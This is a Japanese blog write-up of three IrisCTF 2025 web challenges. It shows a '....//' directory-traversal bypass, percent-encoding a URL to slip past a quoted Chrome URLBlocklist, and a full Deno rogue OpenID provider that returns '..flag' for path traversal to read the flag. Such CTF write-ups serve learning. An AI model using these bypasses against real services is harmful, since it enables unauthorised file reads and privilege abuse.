akimo.dev

IrisCTF 2025 writeup (Web)

日本時間の2025年1月4日9:00から2日間開催されたIrisCTFtraPとして参加し、1064チーム中89位を獲得した。僕はWebの問題を3問解いたので、それについて振り返る。

Password Manager (baby)

ディレクトリトラバーサルを防ぐためにPathReplacerなるものが用意されている。

var PathReplacer = strings.NewReplacer(
	"../", "",
)

が、別に置換後の文字列はチェックされないので....//を使えばいい。

password-manager-web.chal.irisc.tf/...//users.jsonにアクセスし、パスワードを入手した様子

あとは入手したパスワードを使ってログインすればflagが表示される。

Political (easy)

index.htmlとchal.pyを眺めると、

ということが分かる。また、配布ファイルのbot/ディレクトリにはnc先で動いているものと思われるコードがある。bot.jsはadminのcookieを使って与えられたURLにアクセスしてくれるので、こいつにhttps://political-web.chal.irisc.tf/giveflag?token=TOKENを渡せば良さそうだ。しかし、policy.jsonがあるのでそのままではうまくいかない。

{
	"URLBlocklist": ["*/giveflag", "*?token=*"]
}

Dockerfileに次のような行

COPY policy.json /etc/opt/chrome_for_testing/policies/managed/

があるので、policy.jsonはChromeの設定ファイルらしい。というわけでChromeのドキュメントを読むと、パスとクエリパラメータでは大文字・小文字が区別されると書いてある。これが使えないかと思ったが、Flaskがデフォルトでcase-sensitiveなので駄目だった。他にURLBlocklistにはマッチさせず同じURLを表現する方法を考えたところ、パーセントエンコードすれば良いということに気付いたためhttps://political-web.chal.irisc.tf/%67iveflag?%74oken=TOKENをbot.jsに渡して解決した。こんなんで回避できちゃうポリシーに意味あるのかな。

Bad Todo (medium)

OpenIDとか書いてあるが、よく分からないので一旦置いておく。prime_flag.jsに

const client = createClient({
    url: `file://${process.env.STORAGE_LOCATION}/flag`
});

とあり、他にcreateClientが呼ばれている箇所では全て

const client = createClient({
    url: `file://${getStoragePath(idp, sub)}`
});

となっているのでgetStoragePathに適当な引数を渡すことでflagを取得できないか考える。

export function sanitizePath(base) {
    const normalized = path.normalize(path.join(process.env.STORAGE_LOCATION, base));
    const relative = path.relative(process.env.STORAGE_LOCATION, normalized);
    if (relative.includes("..")) throw new Error("Path insane");

    const parent = path.dirname(normalized);
    mkdirSync(parent, { recursive: true });
    
    return normalized;
}

export function getStoragePath(idp, sub) {
    const first2 = sub.substring(0, 2);
    const rest = sub.substring(2);

    const path = `${sha256sum(idp)}/${encodeURIComponent(first2)}/${encodeURIComponent(rest)}`;
    return sanitizePath(path);
}

sanitizePathrelative.includes("..")とあるので一見..を含めることができなそうだが、ここでチェックされているのはSTORAGE_LOCATIONに対する相対パスなので遡りすぎなければ問題ない。encodeURIComponentのせいで自由に/を使うことはできないが、なぜかsubの最初2文字を切り出してくれているので..flagとすることでpath${sha256sum(idp)}/../flagになる。

ではsubは何なのか?関数の呼び出し元を辿っていくと、フォームに入力したOpenIDのissuerが返す値が使われていることが分かる。なのであとは適当なOpenIDプロバイダを用意して..flagを返すようにするだけだ。ここでOpenIDに関する知識は必要なくて(僕は持っていない)、ただapp.jsで使われているレスポンスを返すだけのサーバを用意すれば良い。

const issuer = "https://close-badger-22.deno.dev"

Deno.serve((req) => {
  const reqUrl = new URL(req.url)

  if (reqUrl.pathname === "/.well-known/openid-configuration") {
    return Response.json({
      issuer: issuer,
      authorization_endpoint: issuer + "/auth",
      token_endpoint: issuer + "/token",
      userinfo_endpoint: issuer + "/userinfo",
    })
  }

  if (reqUrl.pathname === "/auth") {
    const redirectUri = reqUrl.searchParams.get("redirect_uri")
    const state = reqUrl.searchParams.get("state")

    if (!redirectUri) {
      return new Response("redirect_uri is required", { status: 400 })
    }

    return Response.redirect(redirectUri + "?state=" + state)
  }

  if (reqUrl.pathname === "/token") {
    return Response.json({
      access_token: "token",
      token_type: "Bearer",
    })
  }

  if (reqUrl.pathname === "/userinfo") {
    return Response.json({
      sub: "..flag",
    })
  }

  return new Response("Not Found", { status: 404 })
})

初めてDeno Deployを使ってみたが、リポジトリを用意したりしなくてもplaygroundでサクッとサーバーを立てられるのは便利だった。

Deno Deployのplayground

おわりに

CTFのWeb問にしっかり時間を割くのは初めてだったが、思ったより解けて楽しかった。去年はtraPのCTF班に所属しておきながら講習会を受けるだけでほとんどコンテストに出られていなかったので、今年はもっと活動していきたい。